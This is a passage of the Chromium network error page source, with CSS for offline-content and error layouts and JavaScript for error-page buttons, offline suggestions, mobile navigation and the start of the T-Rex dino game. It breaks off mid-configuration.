  content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2aWV3Qm94PSIwIDAgMjQgMjQiIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCI+PGRlZnM+PHBhdGggaWQ9ImEiIGQ9Ik0wIDBoMjR2MjRIMFYweiIvPjwvZGVmcz48Y2xpcFBhdGggaWQ9ImIiPjx1c2UgeGxpbms6aHJlZj0iI2EiIG92ZXJmbG93PSJ2aXNpYmxlIi8+PC9jbGlwUGF0aD48cGF0aCBjbGlwLXBhdGg9InVybCgjYikiIGQ9Ik0xMiAyQzYuNSAyIDIgNi41IDIgMTJzNC41IDEwIDEwIDEwIDEwLTQuNSAxMC0xMFMxNy41IDIgMTIgMnptNSAxNkg3di0yaDEwdjJ6bS02LjctNEw3IDEwLjdsMS40LTEuNCAxLjkgMS45IDUuMy01LjNMMTcgNy4zIDEwLjMgMTR6IiBmaWxsPSIjOUFBMEE2Ii8+PC9zdmc+);
  flex-shrink: 0;
  height: 1.4em;
  margin-inline-start: .4em;
  width: 1.4em;
}

/* Controls the animation (and a bit more) of the launch-downloads-home action
 * button when the offline content list is expanded/shown.
 */
#offline-content-list-action {
  text-align: center;
  transition: visibility 0s 200ms, opacity 200ms 200ms linear;
}

/* Controls the animation of the launch-downloads-home action button when the
 * offline content list is collapsed/hidden.
 */
#offline-content-list.list-hidden #offline-content-list-action {
  opacity: 0;
  transition: opacity 200ms linear, visibility 0s 200ms;
  visibility: hidden;
}

#cancel-save-page-button {
  background-image: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAyNCAyNCIgd2lkdGg9IjI0IiBoZWlnaHQ9IjI0Ij48Y2xpcFBhdGggaWQ9Im1hc2siPjxwYXRoIGQ9Ik0xMiAyQzYuNSAyIDIgNi41IDIgMTJzNC41IDEwIDEwIDEwIDEwLTQuNSAxMC0xMFMxNy41IDIgMTIgMnptNSAxNkg3di0yaDEwdjJ6bS02LjctNEw3IDEwLjdsMS40LTEuNCAxLjkgMS45IDUuMy01LjNMMTcgNy4zIDEwLjMgMTR6IiBmaWxsPSIjOUFBMEE2Ii8+PC9jbGlwUGF0aD48cGF0aCBjbGlwLXBhdGg9InVybCgjbWFzaykiIGZpbGw9IiM5QUEwQTYiIGQ9Ik0wIDBoMjR2MjRIMHoiLz48cGF0aCBjbGlwLXBhdGg9InVybCgjbWFzaykiIGZpbGw9IiMxQTczRTgiIHN0eWxlPSJhbmltYXRpb246b2ZmbGluZUFuaW1hdGlvbiA0cyBpbmZpbml0ZSIgZD0iTTAgMGgyNHYyNEgweiIvPjxzdHlsZT5Aa2V5ZnJhbWVzIG9mZmxpbmVBbmltYXRpb257MCUsMzUle2hlaWdodDowfTYwJXtoZWlnaHQ6MTAwJX05MCV7ZmlsbC1vcGFjaXR5OjF9dG97ZmlsbC1vcGFjaXR5OjB9fTwvc3R5bGU+PC9zdmc+);
  background-position: right 27px center;
  background-repeat: no-repeat;
  border: 1px solid var(--google-gray-300);
  border-radius: 5px;
  color: var(--google-gray-700);
  margin-bottom: 26px;
  padding-bottom: 16px;
  padding-inline-end: 88px;
  padding-inline-start: 16px;
  padding-top: 16px;
  text-align: start;
}

html[dir='rtl'] #cancel-save-page-button {
  background-position: left 27px center;
}

#save-page-for-later-button {
  display: flex;
  justify-content: start;
}

#save-page-for-later-button a::before {
  content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxLjJlbSIgaGVpZ2h0PSIxLjJlbSIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNNSAyMGgxNHYtMkg1bTE0LTloLTRWM0g5djZINWw3IDcgNy03eiIgZmlsbD0iIzQyODVGNCIvPjwvc3ZnPg==);
  display: inline-block;
  margin-inline-end: 4px;
  vertical-align: -webkit-baseline-middle;
}

.hidden#save-page-for-later-button {
  display: none;
}

/* Don't allow overflow when in a subframe. */
html[subframe] body {
  overflow: hidden;
}

#sub-frame-error {
  -webkit-align-items: center;
  -webkit-flex-flow: column;
  -webkit-justify-content: center;
  background-color: #DDD;
  display: -webkit-flex;
  height: 100%;
  left: 0;
  position: absolute;
  text-align: center;
  top: 0;
  transition: background-color 200ms ease-in-out;
  width: 100%;
}

#sub-frame-error:hover {
  background-color: #EEE;
}

#sub-frame-error .icon-generic {
  margin: 0 0 16px;
}

#sub-frame-error-details {
  margin: 0 10px;
  text-align: center;
  visibility: hidden;
}

/* Show details only when hovering. */
#sub-frame-error:hover #sub-frame-error-details {
  visibility: visible;
}

/* If the iframe is too small, always hide the error code. */
/* TODO(mmenke): See if overflow: no-display works better, once supported. */
@media (max-width: 200px), (max-height: 95px) {
  #sub-frame-error-details {
    display: none;
  }
}

/* Adjust icon for small embedded frames in apps. */
@media (max-height: 100px) {
  #sub-frame-error .icon-generic {
    height: auto;
    margin: 0;
    padding-top: 0;
    width: 25px;
  }
}

/* details-button is special; it's a <button> element that looks like a link. */
#details-button {
  box-shadow: none;
  min-width: 0;
}

/* Styles for platform dependent separation of controls and details button. */
.suggested-left > #control-buttons,
.suggested-right > #details-button {
  float: left;
}

.suggested-right > #control-buttons,
.suggested-left > #details-button {
  float: right;
}

.suggested-left .secondary-button {
  margin-inline-end: 0;
  margin-inline-start: 16px;
}

#details-button.singular {
  float: none;
}

/* download-button shows both icon and text. */
#download-button {
  padding-bottom: 4px;
  padding-top: 4px;
  position: relative;
}

#download-button::before {
  background: -webkit-image-set(
      url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAQAAABKfvVzAAAAO0lEQVQ4y2NgGArgPxIY1YChsOE/LtBAmpYG0mxpIOSDBpKUo2lpIDZxNJCkHKqlYZAla3RAHQ1DFgAARRroHyLNTwwAAAAASUVORK5CYII=) 1x,
      url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAADAAAAAwCAQAAAD9CzEMAAAAZElEQVRYw+3Ruw3AMAwDUY3OzZUmRRD4E9iim9wNwAdbEURHyk4AAAAATiCVK8lLyPsKeT9K3lsownnunfkPxO78hKiYHxBV8x2icr5BVM+/CMf8g3DN34Rzns6ViwHUAUQ/6wIAd5Km7l6c8AAAAABJRU5ErkJggg==) 2x)
    no-repeat;
  content: '';
  display: inline-block;
  height: 24px;
  margin-inline-end: 4px;
  margin-inline-start: -4px;
  vertical-align: middle;
  width: 24px;
}

#download-button:disabled {
  background: rgb(180, 206, 249);
  color: rgb(255, 255, 255);
}

#buttons::after {
  clear: both;
  content: '';
  display: block;
  width: 100%;
}

/* Offline page */
html[dir='rtl'] .runner-container,
html[dir='rtl'].offline .icon-offline {
  transform: scaleX(-1);
}

.offline {
  transition: filter 1.5s cubic-bezier(0.65, 0.05, 0.36, 1),
              background-color 1.5s cubic-bezier(0.65, 0.05, 0.36, 1);

  will-change: filter, background-color;

}

.offline body {
  transition: background-color 1.5s cubic-bezier(0.65, 0.05, 0.36, 1);
}

.offline #main-message > p {
  display: none;
}

.offline.inverted {
  background-color: #fff;
  filter: invert(1);
}

.offline.inverted body {
  background-color: #fff;
}

.offline .interstitial-wrapper {
  color: var(--text-color);
  font-size: 1em;
  line-height: 1.55;
  margin: 0 auto;
  max-width: 600px;
  padding-top: 100px;
  position: relative;
  width: 100%;
}

.offline .runner-container {
  direction: ltr;
  height: 150px;
  max-width: 600px;
  overflow: hidden;
  position: absolute;
  top: 35px;
  width: 44px;
}

.offline .runner-container:focus {
  outline: none;
}

.offline .runner-container:focus-visible {
  outline: 3px solid var(--google-blue-300);
}

.offline .runner-canvas {
  height: 150px;
  max-width: 600px;
  opacity: 1;
  overflow: hidden;
  position: absolute;
  top: 0;
  z-index: 10;
}

.offline .controller {
  height: 100vh;
  left: 0;
  position: absolute;
  top: 0;
  width: 100vw;
  z-index: 9;
}

#offline-resources {
  display: none;
}

#offline-instruction {
  image-rendering: pixelated;
  left: 0;
  margin: auto;
  position: absolute;
  right: 0;
  top: 60px;
  width: fit-content;
}

.offline-runner-live-region {
  bottom: 0;
  clip-path: polygon(0 0, 0 0, 0 0);
  color: var(--background-color);
  display: block;
  font-size: xx-small;
  overflow: hidden;
  position: absolute;
  text-align: center;
  transition: color 1.5s cubic-bezier(0.65, 0.05, 0.36, 1);
  user-select: none;
}

/* Custom toggle */
.slow-speed-option {
  align-items: center;
  background: var(--google-gray-50);
  border-radius: 24px/50%;
  bottom: 0;
  color: var(--error-code-color);
  display: inline-flex;
  font-size: 1em;
  left: 0;
  line-height: 1.1em;
  margin: 5px auto;
  padding: 2px 12px 3px 20px;
  position: absolute;
  right: 0;
  width: max-content;
  z-index: 999;
}

.slow-speed-option.hidden {
  display: none;
}

.slow-speed-option [type=checkbox] {
  opacity: 0;
  pointer-events: none;
  position: absolute;
}

.slow-speed-option .slow-speed-toggle {
  cursor: pointer;
  margin-inline-start: 8px;
  padding: 8px 4px;
  position: relative;
}

.slow-speed-option [type=checkbox]:disabled ~ .slow-speed-toggle {
  cursor: default;
}

.slow-speed-option-label [type=checkbox] {
  opacity: 0;
  pointer-events: none;
  position: absolute;
}

.slow-speed-option .slow-speed-toggle::before,
.slow-speed-option .slow-speed-toggle::after {
  content: '';
  display: block;
  margin: 0 3px;
  transition: all 100ms cubic-bezier(0.4, 0, 1, 1);
}

.slow-speed-option .slow-speed-toggle::before {
  background: rgb(189,193,198);
  border-radius: 0.65em;
  height: 0.9em;
  width: 2em;
}

.slow-speed-option .slow-speed-toggle::after {
  background: #fff;
  border-radius: 50%;
  box-shadow: 0 1px 3px 0 rgb(0 0 0 / 40%);
  height: 1.2em;
  position: absolute;
  top: 51%;
  transform: translate(-20%, -50%);
  width: 1.1em;
}

.slow-speed-option [type=checkbox]:focus + .slow-speed-toggle {
  box-shadow: 0 0 8px rgb(94, 158, 214);
  outline: 1px solid rgb(93, 157, 213);
}

.slow-speed-option [type=checkbox]:checked + .slow-speed-toggle::before {
  background: var(--google-blue-600);
  opacity: 0.5;
}

.slow-speed-option [type=checkbox]:checked + .slow-speed-toggle::after {
  background: var(--google-blue-600);
  transform: translate(calc(2em - 90%), -50%);
}

.slow-speed-option [type=checkbox]:checked:disabled +
  .slow-speed-toggle::before {
  background: rgb(189,193,198);
}

.slow-speed-option [type=checkbox]:checked:disabled +
  .slow-speed-toggle::after {
  background: var(--google-gray-50);
}

@media (max-width: 420px) {
  #download-button {
    padding-bottom: 12px;
    padding-top: 12px;
  }

  .suggested-left > #control-buttons,
  .suggested-right > #control-buttons {
    float: none;
  }

  .snackbar {
    border-radius: 0;
    bottom: 0;
    left: 0;
    width: 100%;
  }
}

@media (max-height: 350px) {
  h1 {
    margin: 0 0 15px;
  }

  .icon-offline {
    margin: 0 0 10px;
  }

  .interstitial-wrapper {
    margin-top: 5%;
  }

  .nav-wrapper {
    margin-top: 30px;
  }
}

@media (min-width: 420px) and (max-width: 736px) and
       (min-height: 240px) and (max-height: 420px) and
       (orientation:landscape) {
  .interstitial-wrapper {
    margin-bottom: 100px;
  }
}

@media (max-width: 360px) and (max-height: 480px) {
  .offline .interstitial-wrapper {
    padding-top: 60px;
  }

  .offline .runner-container {
    top: 8px;
  }
}

@media (min-height: 240px) and (orientation: landscape) {
  .offline .interstitial-wrapper {
    margin-bottom: 90px;
  }

  .icon-offline {
    margin-bottom: 20px;
  }
}

@media (max-height: 320px) and (orientation: landscape) {
  .icon-offline {
    margin-bottom: 0;
  }

  .offline .runner-container {
    top: 10px;
  }
}

@media (max-width: 240px) {
  button {
    padding-inline-end: 12px;
    padding-inline-start: 12px;
  }

  .interstitial-wrapper {
    overflow: inherit;
    padding: 0 8px;
  }
}

@media (max-width: 120px) {
  button {
    width: auto;
  }
}

.arcade-mode,
.arcade-mode .runner-container,
.arcade-mode .runner-canvas {
  image-rendering: pixelated;
  max-width: 100%;
  overflow: hidden;
}

.arcade-mode #buttons,
.arcade-mode #main-content {
  opacity: 0;
  overflow: hidden;
}

.arcade-mode .interstitial-wrapper {
  height: 100vh;
  max-width: 100%;
  overflow: hidden;
}

.arcade-mode .runner-container {
  left: 0;
  margin: auto;
  right: 0;
  transform-origin: top center;
  transition: transform 250ms cubic-bezier(0.4, 0, 1, 1) 400ms;
  z-index: 2;
}

@media (prefers-color-scheme: dark) {
  .icon {
    filter: invert(1);
  }

  .offline .runner-canvas {
    filter: invert(1);
  }

  .offline.inverted {
    background-color: var(--background-color);
    filter: invert(0);
  }

  .offline.inverted body {
    background-color: #fff;
  }

  .offline.inverted .offline-runner-live-region {
    color: #fff;
  }

  #suggestions-list a {
    color: var(--link-color);
  }

  #error-information-button {
    filter: invert(0.6);
  }

  .slow-speed-option {
    background: var(--google-gray-800);
    color: var(--google-gray-100);
  }

  .slow-speed-option .slow-speed-toggle::before,
  .slow-speed-option [type=checkbox]:checked:disabled +
    .slow-speed-toggle::before {
     background: rgb(189,193,198);
  }

  .slow-speed-option [type=checkbox]:checked + .slow-speed-toggle::after,
  .slow-speed-option [type=checkbox]:checked + .slow-speed-toggle::before {
    background: var(--google-blue-300);
  }
}
</style>
  <script>// Copyright 2013 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

/**
 * @typedef {{
 *   downloadButtonClick: function(),
 *   reloadButtonClick: function(string),
 *   detailsButtonClick: function(),
 *   diagnoseErrorsButtonClick: function(),
 *   trackEasterEgg: function(),
 *   updateEasterEggHighScore: function(number),
 *   resetEasterEggHighScore: function(),
 *   launchOfflineItem: function(string, string),
 *   savePageForLater: function(),
 *   cancelSavePage: function(),
 *   listVisibilityChange: function(boolean),
 * }}
 */
// eslint-disable-next-line no-var
var errorPageController;

const HIDDEN_CLASS = 'hidden';

// Decodes a UTF16 string that is encoded as base64.
function decodeUTF16Base64ToString(encoded_text) {
  const data = atob(encoded_text);
  let result = '';
  for (let i = 0; i < data.length; i += 2) {
    result +=
        String.fromCharCode(data.charCodeAt(i) * 256 + data.charCodeAt(i + 1));
  }
  return result;
}

function toggleHelpBox() {
  const helpBoxOuter = document.getElementById('details');
  helpBoxOuter.classList.toggle(HIDDEN_CLASS);
  const detailsButton = document.getElementById('details-button');
  if (helpBoxOuter.classList.contains(HIDDEN_CLASS)) {
    /** @suppress {missingProperties} */
    detailsButton.innerText = detailsButton.detailsText;
  } else {
    /** @suppress {missingProperties} */
    detailsButton.innerText = detailsButton.hideDetailsText;
  }

  // Details appears over the main content on small screens.
  if (mobileNav) {
    document.getElementById('main-content').classList.toggle(HIDDEN_CLASS);
    const runnerContainer = document.querySelector('.runner-container');
    if (runnerContainer) {
      runnerContainer.classList.toggle(HIDDEN_CLASS);
    }
  }
}

function diagnoseErrors() {
  if (window.errorPageController) {
    errorPageController.diagnoseErrorsButtonClick();
  }
}

// Subframes use a different layout but the same html file.  This is to make it
// easier to support platforms that load the error page via different
// mechanisms (Currently just iOS). We also use the subframe style for portals
// as they are embedded like subframes and can't be interacted with by the user.
let isSubFrame = false;
if (window.top.location !== window.location || window.portalHost) {
  document.documentElement.setAttribute('subframe', '');
  isSubFrame = true;
}

// Re-renders the error page using |strings| as the dictionary of values.
// Used by NetErrorTabHelper to update DNS error pages with probe results.
function updateForDnsProbe(strings) {
  const context = new JsEvalContext(strings);
  jstProcess(context, document.getElementById('t'));
  onDocumentLoadOrUpdate();
}

// Adds an icon class to the list and removes classes previously set.
function updateIconClass(newClass) {
  const frameSelector = isSubFrame ? '#sub-frame-error' : '#main-frame-error';
  const iconEl = document.querySelector(frameSelector + ' .icon');

  if (iconEl.classList.contains(newClass)) {
    return;
  }

  iconEl.className = 'icon ' + newClass;
}

// Implements button clicks.  This function is needed during the transition
// between implementing these in trunk chromium and implementing them in iOS.
function reloadButtonClick(url) {
  if (window.errorPageController) {
    // 

    // 
    errorPageController.reloadButtonClick();
    // 
  } else {
    window.location = url;
  }
}

function downloadButtonClick() {
  if (window.errorPageController) {
    errorPageController.downloadButtonClick();
    const downloadButton = document.getElementById('download-button');
    downloadButton.disabled = true;
    /** @suppress {missingProperties} */
    downloadButton.textContent = downloadButton.disabledText;

    document.getElementById('download-link-wrapper')
        .classList.add(HIDDEN_CLASS);
    document.getElementById('download-link-clicked-wrapper')
        .classList.remove(HIDDEN_CLASS);
  }
}

function detailsButtonClick() {
  if (window.errorPageController) {
    errorPageController.detailsButtonClick();
  }
}

let primaryControlOnLeft = true;
// clang-format off
// 
// clang-format on
primaryControlOnLeft = false;
// 

function setAutoFetchState(scheduled, can_schedule) {
  document.getElementById('cancel-save-page-button')
      .classList.toggle(HIDDEN_CLASS, !scheduled);
  document.getElementById('save-page-for-later-button')
      .classList.toggle(HIDDEN_CLASS, scheduled || !can_schedule);
}

function savePageLaterClick() {
  errorPageController.savePageForLater();
  // savePageForLater will eventually trigger a call to setAutoFetchState() when
  // it completes.
}

function cancelSavePageClick() {
  errorPageController.cancelSavePage();
  // setAutoFetchState is not called in response to cancelSavePage(), so do it
  // now.
  setAutoFetchState(false, true);
}

function toggleErrorInformationPopup() {
  document.getElementById('error-information-popup-container')
      .classList.toggle(HIDDEN_CLASS);
}

function launchOfflineItem(itemID, name_space) {
  errorPageController.launchOfflineItem(itemID, name_space);
}

function launchDownloadsPage() {
  errorPageController.launchDownloadsPage();
}

function getIconForSuggestedItem(item) {
  // Note: |item.content_type| contains the enum values from
  // chrome::mojom::AvailableContentType.
  switch (item.content_type) {
    case 1:  // kVideo
      return 'image-video';
    case 2:  // kAudio
      return 'image-music-note';
    case 0:  // kPrefetchedPage
    case 3:  // kOtherPage
      return 'image-earth';
  }
  return 'image-file';
}

function getSuggestedContentDiv(item, index) {
  // Note: See AvailableContentToValue in available_offline_content_helper.cc
  // for the data contained in an |item|.
  // TODO(carlosk): Present |snippet_base64| when that content becomes
  // available.
  let thumbnail = '';
  const extraContainerClasses = [];
  // html_inline.py will try to replace src attributes with data URIs using a
  // simple regex. The following is obfuscated slightly to avoid that.
  const source = 'src';
  if (item.thumbnail_data_uri) {
    extraContainerClasses.push('suggestion-with-image');
    thumbnail = `<img ${source}="${item.thumbnail_data_uri}">`;
  } else {
    extraContainerClasses.push('suggestion-with-icon');
    const iconClass = getIconForSuggestedItem(item);
    thumbnail = `<div><img class="${iconClass}"></div>`;
  }

  let favicon = '';
  if (item.favicon_data_uri) {
    favicon = `<img ${source}="${item.favicon_data_uri}">`;
  } else {
    extraContainerClasses.push('no-favicon');
  }

  if (!item.attribution_base64) {
    extraContainerClasses.push('no-attribution');
  }

  return `
  <div class="offline-content-suggestion ${extraContainerClasses.join(' ')}"
    onclick="launchOfflineItem('${item.ID}', '${item.name_space}')">
      <div class="offline-content-suggestion-texts">
        <div id="offline-content-suggestion-title-${index}"
             class="offline-content-suggestion-title">
        </div>
        <div class="offline-content-suggestion-attribution-freshness">
          <div id="offline-content-suggestion-favicon-${index}"
               class="offline-content-suggestion-favicon">
            ${favicon}
          </div>
          <div id="offline-content-suggestion-attribution-${index}"
               class="offline-content-suggestion-attribution">
          </div>
          <div class="offline-content-suggestion-freshness">
            ${item.date_modified}
          </div>
          <div class="offline-content-suggestion-pin-spacer"></div>
          <div class="offline-content-suggestion-pin"></div>
        </div>
      </div>
      <div class="offline-content-suggestion-thumbnail">
        ${thumbnail}
      </div>
  </div>`;
}

/**
 * @typedef {{
 *   ID: string,
 *   name_space: string,
 *   title_base64: string,
 *   snippet_base64: string,
 *   date_modified: string,
 *   attribution_base64: string,
 *   thumbnail_data_uri: string,
 *   favicon_data_uri: string,
 *   content_type: number,
 * }}
 */
let AvailableOfflineContent;

// Populates a list of suggested offline content.
// Note: For security reasons all content downloaded from the web is considered
// unsafe and must be securely handled to be presented on the dino page. Images
// have already been safely re-encoded but textual content -- like title and
// attribution -- must be properly handled here.
// @param {boolean} isShown
// @param {Array<AvailableOfflineContent>} suggestions
function offlineContentAvailable(isShown, suggestions) {
  if (!suggestions || !loadTimeData.valueExists('offlineContentList')) {
    return;
  }

  const suggestionsHTML = [];
  for (let index = 0; index < suggestions.length; index++) {
    suggestionsHTML.push(getSuggestedContentDiv(suggestions[index], index));
  }

  document.getElementById('offline-content-suggestions').innerHTML =
      suggestionsHTML.join('\n');

  // Sets textual web content using |textContent| to make sure it's handled as
  // plain text.
  for (let index = 0; index < suggestions.length; index++) {
    document.getElementById(`offline-content-suggestion-title-${index}`)
        .textContent =
        decodeUTF16Base64ToString(suggestions[index].title_base64);
    document.getElementById(`offline-content-suggestion-attribution-${index}`)
        .textContent =
        decodeUTF16Base64ToString(suggestions[index].attribution_base64);
  }

  const contentListElement = document.getElementById('offline-content-list');
  if (document.dir === 'rtl') {
    contentListElement.classList.add('is-rtl');
  }
  contentListElement.hidden = false;
  // The list is configured as hidden by default. Show it if needed.
  if (isShown) {
    toggleOfflineContentListVisibility(false);
  }
}

function toggleOfflineContentListVisibility(updatePref) {
  if (!loadTimeData.valueExists('offlineContentList')) {
    return;
  }

  const contentListElement = document.getElementById('offline-content-list');
  const isVisible = !contentListElement.classList.toggle('list-hidden');

  if (updatePref && window.errorPageController) {
    errorPageController.listVisibilityChanged(isVisible);
  }
}

// Called on document load, and from updateForDnsProbe().
function onDocumentLoadOrUpdate() {
  const downloadButtonVisible = loadTimeData.valueExists('downloadButton') &&
      loadTimeData.getValue('downloadButton').msg;
  const detailsButton = document.getElementById('details-button');

  // If offline content suggestions will be visible, the usual buttons will not
  // be presented.
  const offlineContentVisible =
      loadTimeData.valueExists('suggestedOfflineContentPresentation');
  if (offlineContentVisible) {
    document.querySelector('.nav-wrapper').classList.add(HIDDEN_CLASS);
    detailsButton.classList.add(HIDDEN_CLASS);

    document.getElementById('download-link').hidden = !downloadButtonVisible;
    document.getElementById('download-links-wrapper')
        .classList.remove(HIDDEN_CLASS);
    document.getElementById('error-information-popup-container')
        .classList.add('use-popup-container', HIDDEN_CLASS);
    document.getElementById('error-information-button')
        .classList.remove(HIDDEN_CLASS);
  }

  const attemptAutoFetch = loadTimeData.valueExists('attemptAutoFetch') &&
      loadTimeData.getValue('attemptAutoFetch');

  const reloadButtonVisible = loadTimeData.valueExists('reloadButton') &&
      loadTimeData.getValue('reloadButton').msg;

  const reloadButton = document.getElementById('reload-button');
  const downloadButton = document.getElementById('download-button');
  if (reloadButton.style.display === 'none' &&
      downloadButton.style.display === 'none') {
    detailsButton.classList.add('singular');
  }

  // Show or hide control buttons.
  const controlButtonDiv = document.getElementById('control-buttons');
  controlButtonDiv.hidden =
      offlineContentVisible || !(reloadButtonVisible || downloadButtonVisible);

  const iconClass = loadTimeData.valueExists('iconClass') &&
      loadTimeData.getValue('iconClass');

  updateIconClass(iconClass);

  if (!isSubFrame && iconClass === 'icon-offline') {
    document.documentElement.classList.add('offline');
    new Runner('.interstitial-wrapper');
  }
}

function onDocumentLoad() {
  // Sets up the proper button layout for the current platform.
  const buttonsDiv = document.getElementById('buttons');
  if (primaryControlOnLeft) {
    buttonsDiv.classList.add('suggested-left');
  } else {
    buttonsDiv.classList.add('suggested-right');
  }

  onDocumentLoadOrUpdate();
}

document.addEventListener('DOMContentLoaded', onDocumentLoad);
</script>
  <script>// Copyright 2015 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

let mobileNav = false;

/**
 * For small screen mobile the navigation buttons are moved
 * below the advanced text.
 */
function onResize() {
  const helpOuterBox = document.querySelector('#details');
  const mainContent = document.querySelector('#main-content');
  const mediaQuery = '(min-width: 240px) and (max-width: 420px) and ' +
      '(min-height: 401px), ' +
      '(max-height: 560px) and (min-height: 240px) and ' +
      '(min-width: 421px)';

  const detailsHidden = helpOuterBox.classList.contains(HIDDEN_CLASS);
  const runnerContainer = document.querySelector('.runner-container');

  // Check for change in nav status.
  if (mobileNav !== window.matchMedia(mediaQuery).matches) {
    mobileNav = !mobileNav;

    // Handle showing the top content / details sections according to state.
    if (mobileNav) {
      mainContent.classList.toggle(HIDDEN_CLASS, !detailsHidden);
      helpOuterBox.classList.toggle(HIDDEN_CLASS, detailsHidden);
      if (runnerContainer) {
        runnerContainer.classList.toggle(HIDDEN_CLASS, !detailsHidden);
      }
    } else if (!detailsHidden) {
      // Non mobile nav with visible details.
      mainContent.classList.remove(HIDDEN_CLASS);
      helpOuterBox.classList.remove(HIDDEN_CLASS);
      if (runnerContainer) {
        runnerContainer.classList.remove(HIDDEN_CLASS);
      }
    }
  }
}

function setupMobileNav() {
  window.addEventListener('resize', onResize);
  onResize();
}

document.addEventListener('DOMContentLoaded', setupMobileNav);
</script>
  <script>// Copyright 2014 The Chromium Authors
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

/**
 * T-Rex runner.
 * @param {string} outerContainerId Outer containing element id.
 * @param {!Object=} opt_config
 * @constructor
 * @implements {EventListener}
 * @export
 */
function Runner(outerContainerId, opt_config) {
  // Singleton
  if (Runner.instance_) {
    return Runner.instance_;
  }
  Runner.instance_ = this;

  this.outerContainerEl = document.querySelector(outerContainerId);
  this.containerEl = null;
  this.snackbarEl = null;
  // A div to intercept touch events. Only set while (playing && useTouch).
  this.touchController = null;

  this.config = opt_config || Object.assign(Runner.config, Runner.normalConfig);
  // Logical dimensions of the container.
  this.dimensions = Runner.defaultDimensions;

  this.gameType = null;
  Runner.spriteDefinition = Runner.spriteDefinitionByType['original'];

  this.altGameImageSprite = null;
  this.altGameModeActive = false;
  this.altGameModeFlashTimer = null;
  this.fadeInTimer = 0;

  this.canvas = null;
  this.canvasCtx = null;

  this.tRex = null;

  this.distanceMeter = null;
  this.distanceRan = 0;

  this.highestScore = 0;
  this.syncHighestScore = false;

  this.time = 0;
  this.runningTime = 0;
  this.msPerFrame = 1000 / FPS;
  this.currentSpeed = this.config.SPEED;
  Runner.slowDown = false;

  this.obstacles = [];

  this.activated = false; // Whether the easter egg has been activated.
  this.playing = false; // Whether the game is currently in play state.
  this.crashed = false;
  this.paused = false;
  this.inverted = false;
  this.invertTimer = 0;
  this.resizeTimerId_ = null;

  this.playCount = 0;

  // Sound FX.
  this.audioBuffer = null;

  /** @type {Object} */
  this.soundFx = {};
  this.generatedSoundFx = null;

  // Global web audio context for playing sounds.
  this.audioContext = null;

  // Images.
  this.images = {};
  this.imagesLoaded = 0;

  // Gamepad state.
  this.pollingGamepads = false;
  this.gamepadIndex = undefined;
  this.previousGamepad = null;

  if (this.isDisabled()) {
    this.setupDisabledRunner();
  } else {
    if (Runner.isAltGameModeEnabled()) {
      this.initAltGameType();
      Runner.gameType = this.gameType;
    }
    this.loadImages();

    window['initializeEasterEggHighScore'] =
        this.initializeHighScore.bind(this);
  }
}

/**
 * Default game width.
 * @const
 */
const DEFAULT_WIDTH = 600;

/**
 * Frames per second.
 * @const
 */
const FPS = 60;

/** @const */
const IS_HIDPI = window.devicePixelRatio > 1;

/** @const */
const IS_IOS = /CriOS/.test(window.navigator.userAgent);

/** @const */
const IS_MOBILE = /Android/.test(window.navigator.userAgent) || IS_IOS;

/** @const */
const IS_RTL = document.querySelector('html').dir == 'rtl';

/** @const */
const ARCADE_MODE_URL = 'chrome://dino/';

/** @const */
const RESOURCE_POSTFIX = 'offline-resources-';

/** @const */
const A11Y_STRINGS = {
  ariaLabel: 'dinoGameA11yAriaLabel',
  description: 'dinoGameA11yDescription',
  gameOver: 'dinoGameA11yGameOver',
  highScore: 'dinoGameA11yHighScore',
  jump: 'dinoGameA11yJump',
  started: 'dinoGameA11yStartGame',
  speedLabel: 'dinoGameA11ySpeedToggle',
};

/**
 * Default game configuration.
 * Shared config for all  versions of the game. Additional parameters are
 * defined in Runner.normalConfig and Runner.slowConfig.
 */
Runner.config = {
  AUDIOCUE_PROXIMITY_THRESHOLD: 190,
  AUDIOCUE_PROXIMITY_THRESHOLD_MOBILE_A11Y: 250,
  BG_CLOUD_SPEED: 0.2,
  BOTTOM_PAD: 10,
  // Scroll Y threshold at which the game can be activated.
  CANVAS_IN_VIEW_OFFSET: -10,
  CLEAR_TIME: 3000,
  CLOUD_FREQUENCY: 0.5,
  FADE_DURATION: 1,
  FLASH_DURATION: 1000,
  GAMEOVER_CLEAR_TIME: 1200,
  INITIAL_JUMP_VELOCITY: 12,
  INVERT_FADE_DURATION: 12000,
  MAX_BLINK_COUNT: 3,
  MAX_CLOUDS: 6,
  MAX_OBSTACLE_LENGTH: 3,
  MAX_OBSTACLE_DUPLICATION: 2,
  RESOURCE_TEMPLATE_ID: 'audio-resources',
  SPEED: 6,
  SPEED_DROP_COEFFICIENT: 3,
  ARCADE_MODE_INITIAL_TOP_POSITION: 35,
  ARCADE_MODE_TOP_POSITION_PERCENT: 0.1,
};

Runner.normalConfig = {
  ACCELERATION: 0.001,
  AUDIOCUE_PROXIMITY_THRESHOLD: 190,
  AUDIOCUE_PROXIMITY_THRESHOLD_MOBILE_A11Y: 250,
  GAP_COEFFICIENT: 0.6,
  INVERT_DISTANCE: 700,
  MAX_SPEED: 13,
  MOBILE_SPEED_COEFFICIENT: 1.2,
  SPEED: 6,
};


Runner.slowConfig = {
  ACCELERATION: 0.0005,
  AUDIOCUE_PROXIMITY_THRESHOLD: 170,
  AUDIOCUE_PROXIMITY_THRESHOLD_MOBILE_A11Y: 220,
  GAP_COEFFICIENT: 0.3,
  INVERT_DISTANCE: 350,
  MAX_SPEED: 9,
  MOBILE_SPEED_COEFFICIENT: 1.5,
  SPEED: 4.2,
};


/**
 * Default dimensions.
 */
Runner.defaultDimensions = {
  WIDTH: DEFAULT_WIDTH,
  HEIGHT: 150,
};


/**
 * CSS class names.
 * @enum {string}
 */
Runner.classes = {
